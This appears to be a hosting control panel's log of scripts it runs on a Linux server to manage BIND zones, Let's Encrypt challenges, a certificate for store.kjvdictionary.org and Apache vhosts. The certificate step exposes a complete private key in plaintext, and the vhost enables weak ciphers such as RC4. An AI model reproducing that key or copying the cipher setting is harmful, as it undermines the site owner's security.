MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-31 20:28:52: 

PUT: /tmp/pkp331975

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = '3d53240606bf6359dd62d3ebf20afc18'
ZONE_NAME = 'patientapps.com'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2026-01-31 20:28:52: 

chmod 755 /tmp/pkp331975; /tmp/pkp331975; rm /tmp/pkp331975

2026-01-31 20:28:52: 




2026-01-31 20:28:52: 

PUT: /tmp/pkp460849

#!/bin/bash

if [ -f "/usr/bin/yum" ]; then

	echo status=not implemented
	
elif [ -f "/usr/bin/apt-get" ]; then

	systemctl is-active --quiet bind9.service
	retVal=$?
	if [ $retVal -ne 0 ]; then
			echo "status=Starting BIND9"
			systemctl start bind9.service
	else
			echo "status=Reloading BIND9"
			systemctl reload bind9.service
	fi

fi


2026-01-31 20:28:52: 

chmod 755 /tmp/pkp460849; /tmp/pkp460849; rm /tmp/pkp460849

2026-01-31 20:28:52: 


status=Reloading BIND9


2026-01-31 20:28:52: Establishing a connection
2026-01-31 20:28:55: 

PUT: /tmp/pkp472672

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = '3d53240606bf6359dd62d3ebf20afc18'
ZONE_NAME = 'patientapps.com'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2026-01-31 20:28:55: 

chmod 755 /tmp/pkp472672; /tmp/pkp472672; rm /tmp/pkp472672

2026-01-31 20:28:56: 




2026-01-31 20:28:56: 

PUT: /tmp/pkp822916

#!/bin/bash

if [ -f "/usr/bin/yum" ]; then

	echo status=not implemented
	
elif [ -f "/usr/bin/apt-get" ]; then

	systemctl is-active --quiet bind9.service
	retVal=$?
	if [ $retVal -ne 0 ]; then
			echo "status=Starting BIND9"
			systemctl start bind9.service
	else
			echo "status=Reloading BIND9"
			systemctl reload bind9.service
	fi

fi


2026-01-31 20:28:56: 

chmod 755 /tmp/pkp822916; /tmp/pkp822916; rm /tmp/pkp822916

2026-01-31 20:28:57: 


status=Reloading BIND9


2026-02-01 06:00:01: Establishing a connection
2026-02-01 06:00:02: Establishing a connection
2026-02-01 06:00:02: 

PUT: /tmp/pkp148692

#!/bin/bash
if [ -d "/var/www/kjvdictionary_store/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-02-01 06:00:03: 

chmod 755 /tmp/pkp148692; /tmp/pkp148692; rm /tmp/pkp148692

2026-02-01 06:00:03: 


1


2026-02-01 06:00:04: Establishing a connection
2026-02-01 06:00:05: 

PUT: /tmp/pkp375415

#!/bin/bash
mkdir -p "/var/www/kjvdictionary_store/.well-known/acme-challenge/"
cd "/var/www/kjvdictionary_store/.well-known/acme-challenge/"
cat > NXsnvLFN7o2dAQx3LWueZueote1fnr50Lvk2HWQdi1I <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
NXsnvLFN7o2dAQx3LWueZueote1fnr50Lvk2HWQdi1I.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 NXsnvLFN7o2dAQx3LWueZueote1fnr50Lvk2HWQdi1I


2026-02-01 06:00:05: 

chmod 755 /tmp/pkp375415; /tmp/pkp375415; rm /tmp/pkp375415

2026-02-01 06:00:05: 




2026-02-01 06:00:08: Establishing a connection
2026-02-01 06:00:09: 

PUT: /tmp/pkp171258

#!/bin/bash
mkdir -p "/var/www/kjvdictionary_store/.well-known/acme-challenge/"
cd "/var/www/kjvdictionary_store/.well-known/acme-challenge/"
rm NXsnvLFN7o2dAQx3LWueZueote1fnr50Lvk2HWQdi1I


2026-02-01 06:00:09: 

chmod 755 /tmp/pkp171258; /tmp/pkp171258; rm /tmp/pkp171258

2026-02-01 06:00:09: 




2026-02-01 06:00:09: Establishing a connection
2026-02-01 06:00:09: 

PUT: /tmp/pkp691881

#!/bin/bash
temp_file=$(mktemp)
TARGET=82027fd7e0abdd79a359ee4b0d03e041.crt

cat > $temp_file <<'endmsg'
e8:a0:9c:b9:67:c6:e4:6b:bc:77:4d:2d:69:6e:20:94

-----BEGIN CERTIFICATE-----
MIIFEzCCA/ugAwIBAgISBWmlyshWOcWh+UzLV2G7W2ZyMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjAxMDUwMTM3WhcNMjYwNTAyMDUwMTM2WjAiMSAwHgYDVQQD
ExdzdG9yZS5ranZkaWN0aW9uYXJ5Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBAMkTlQwAhlHUBvJYKvVKp52JZioSpwlMCPdLHtNvNFpXtb59H6Kb
5yiE4bM6eEVemrPOqZMkJ2pM0NePfkRUZGeb12aQ7paGiDslR7BHHd6dWLHBD1qa
gGE6HbUFvCs8KhOOuFSdXUCFdBLtC+36O+7EudIe62F0k/f5lTOz/e/jPEV/7MU0
KrPHkj3+vrJVWwtc0At5b4nlJgRSFyWaAIEdlHDJXLnncxJyXkCHl7jJ22ImkVTU
oudmWImaAJgYY/sN0z7eIPuXHDMnAarBGvNvya3fEmVu5uxsalrwNuzfQHNcm3zE
kwfODi3yNNMKJOyEpHXRX/fzWjShCz4w7wUCAwEAAaOCAjAwggIsMA4GA1UdDwEB
/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/
BAIwADAdBgNVHQ4EFgQUJ4VOLpCEOgYcJU9dgJmuKui0/nUwHwYDVR0jBBgwFoAU
56ufDywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAC
hhdodHRwOi8vcjEzLmkubGVuY3Iub3JnLzAiBgNVHREEGzAZghdzdG9yZS5ranZk
aWN0aW9uYXJ5Lm9yZzATBgNVHSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSg
IqAghh5odHRwOi8vcjEzLmMubGVuY3Iub3JnLzExNS5jcmwwggEMBgorBgEEAdZ5
AgQCBIH9BIH6APgAdgAOV5S8866pPjMbLJkHs/eQ35vCPXEyJd0hqSWsYcVOIQAA
AZwXyYJWAAAEAwBHMEUCICxgKdXL++eEkMIXVrTJ1Uf0pMkDAt3o12Qk5vb3nEyv
AiEA19p7eYSh3uIUH7SwlycNBcsDWvbS8UW0Q4Nrd2ev4doAfgDjI43yjaKI4Krg
rPD6kMmF8La/9dKlJ7AB/BxEWMS26AAAAZwXyYRMAAgAAAUAMSOTyAQDAEcwRQIh
AP2UxKJ4/sWC2Y9U9wYyZxIMX/hI3FYrtN96dtemSIb+AiBfgpht5FyhNj/5ZbY3
LF/4a3OqqN95mHjIvWnGo9kytzANBgkqhkiG9w0BAQsFAAOCAQEAlLTYcsBvE7l8
BOxXC8VQ74S8qV9/vLBCEHMxHU9xkjU4ebgRTgJHdLJjbhbd7MAv4kvRlSV5/PP0
vanNc+iQTCrCFcgc7bY0zlqRZbA6k3Rt4miKUn/RpD6K8Bud+zSGo4IwW+B69i96
VwBatH0I1rqI1WKF3K8YUCwFQFLwO2ahurVE69xE8CCUUwjEmffqu99aK9OoX0WM
buNw4vWc3hrRmpK4xK6XZiRPZ5Jhg5j0SKftZ7ADC57wyUxVobaZ9W8UXrqCeX4A
wAZAWe/8Rsm9uDJZ0IaEFBtLzH2r5dbmxX1ilwc5LbG/bIiVCWm7MgaRWFn33C2f
eFaZibX6DQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDJE5UMAIZR1Aby
WCr1SqediWYqEqcJTAj3Sx7TbzRaV7W+fR+im+cohOGzOnhFXpqzzqmTJCdqTNDX
j35EVGRnm9dmkO6Whog7JUewRx3enVixwQ9amoBhOh21BbwrPCoTjrhUnV1AhXQS
7Qvt+jvuxLnSHuthdJP3+ZUzs/3v4zxFf+zFNCqzx5I9/r6yVVsLXNALeW+J5SYE
UhclmgCBHZRwyVy553MScl5Ah5e4ydtiJpFU1KLnZliJmgCYGGP7DdM+3iD7lxwz
JwGqwRrzb8mt3xJlbubsbGpa8Dbs30BzXJt8xJMHzg4t8jTTCiTshKR10V/381o0
oQs+MO8FAgMBAAECggEAHSKRPiP1UnX+a68Kym/+yXzXKNF7EoXJ5ssjtE8wrsZ2
txs6Mj2UyPI4IdgfBS4oDFWtjHx4mZZ3zEQmb5Aq3DhghaQKbhUgODG2qXwkf9Uc
vOTUbLRmVbAuDcS+9yTIk/ziCKCkmmy73OIsEFdpx7cJlcCVKpHRvuSTEeLKsK9i
ZdqeZcvpV196dlzPdHN8F1oTsjXVWRoIsBDNVlp1u1Y4uOdZpYmb3BdVMiDr8TtJ
Cn6Q55BZFibdQCm/Wp3PkZ7b3UvG1uS2YTdwS7AIupRZFx++6orXZ5TCqmdUwyiY
9cjcSG0EUgwjz7xmwTcakYKV8eXIR8yx2GVRNXB7AQKBgQD0aO1yL8j8I6psfa7O
++m63yuynFxLkphTMnBlG6jO2NXNVQp/Gj6yRdqJXaoGNo8YgVOmlQe6Z9KWjEf5
1uIaX89M+FYrdcgumvEkx8qLSJe2h1QSz9XgQKYpGPA+EsPeLfQKXn4OMB+vIn/s
gj1lTR9o1sEPvUlTga7PdX6ATQKBgQDSnJlEAg3R87svFU5FFXOXQPIOpyWQQs0Z
SYnFsANqcBmD187Bq6YgnlqL806hoDp7+5PZi8pNeOSKzeZrkg6Lnd/pzYzO2Ied
a9db1O+Ka7tKsyMZL/hMssd9BVfFq88kM6ypq4ENmjPttq618Ks3u/DJMgzN0Gun
PFm2NcfFmQKBgQCQTZtT/c6mv9AReitJ3gZj5PwB2rvLiuQQywj9SVVjuzaQoxMt
dCtsSj37OKf4PyJBj6n6AqercT0u0eh1JGAevk7A3SbTRhlJGwYhdyypC9U3WbNT
4A4g90qjnSvLGn02ot8heCTo75TlbHMnCsaBFwXiellGl7XBbiHuLyrfSQKBgFMP
O0qc3MJuMuYQqvuHyDxgepXYyXGpRqWwYMs77Tzu1MEwPPQYM74tdVw4KkyHmkkH
IHntLW18PfWX2kWWJnJdYs8cJ2nz7xfgTeCDi6y1a/m7yB3I0028O/xMPR9R8LFA
R9nqL00kAVLAdwp9zah/UCioum/4wFwF6wN3FkARAoGBAJbKivUgnjwrs6SZ6a95
qZDAYL93lMKwMUsIWkPMhcneyfesAOkC2Tg64SadK7WmE2OWM/DGAEDPdrQoWlUc
16y4DnF4EiSPQAE4d/7FR0lIMGP9zTic4M8LzKgX2NNhp/RcNiV37co1s6G+Csfp
AIRLhFujsQ9Jd9mhLbOEEaXG
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-02-01 06:00:09: 

chmod 755 /tmp/pkp691881; /tmp/pkp691881; rm /tmp/pkp691881

2026-02-01 06:00:09: 


dir=/etc/ssl/certs


2026-02-01 06:00:09: 

PUT: /tmp/pkp848114

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/kjvdictionary_store_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-02-01 06:00:09: 

chmod 755 /tmp/pkp848114; /tmp/pkp848114; rm /tmp/pkp848114

2026-02-01 06:00:09: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/kjvdictionary_store_org.conf 47

<VirtualHost *:80>
    ServerName	store.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/kjvdictionary_store/public
    <Directory /var/www/kjvdictionary_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/store_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/store_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	store.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/82027fd7e0abdd79a359ee4b0d03e041.crt
    DocumentRoot	/var/www/kjvdictionary_store/public
    <Directory /var/www/kjvdictionary_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/store_secure_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/store_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-02-01 06:00:09: 

PUT: /tmp/pkp634457

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=kjvdictionary_store_org.conf
TARGET=/etc/apache2/sites-enabled/kjvdictionary_store_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	store.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/kjvdictionary_store/public
    <Directory /var/www/kjvdictionary_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/store_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/store_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	store.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/82027fd7e0abdd79a359ee4b0d03e041.crt
    DocumentRoot	/var/www/kjvdictionary_store/public
    <Directory /var/www/kjvdictionary_store>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/store_secure_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/store_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/kjvdictionary_store_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/kjvdictionary_store_org.conf)= /etc/apache2//etc/apache2/sites-enabled/kjvdictionary_store_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/kjvdictionary_store_org.conf= 1'
fi


2026-02-01 06:00:09: 

chmod 755 /tmp/pkp634457; /tmp/pkp634457; rm /tmp/pkp634457

2026-02-01 06:00:09: 




2026-02-01 06:00:09: 

PUT: /tmp/pkp300079

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-02-01 06:00:09: 

chmod 755 /tmp/pkp300079; /tmp/pkp300079; rm /tmp/pkp300079

2026-02-01 06:00:09: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-01 06:00:09: Establishing a connection
2026-02-01 06:00:10: 

PUT: /tmp/pkp707555

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-02-01 06:00:10: 

chmod 755 /tmp/pkp707555; /tmp/pkp707555; rm /tmp/pkp707555

2026-02-01 06:00:10: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
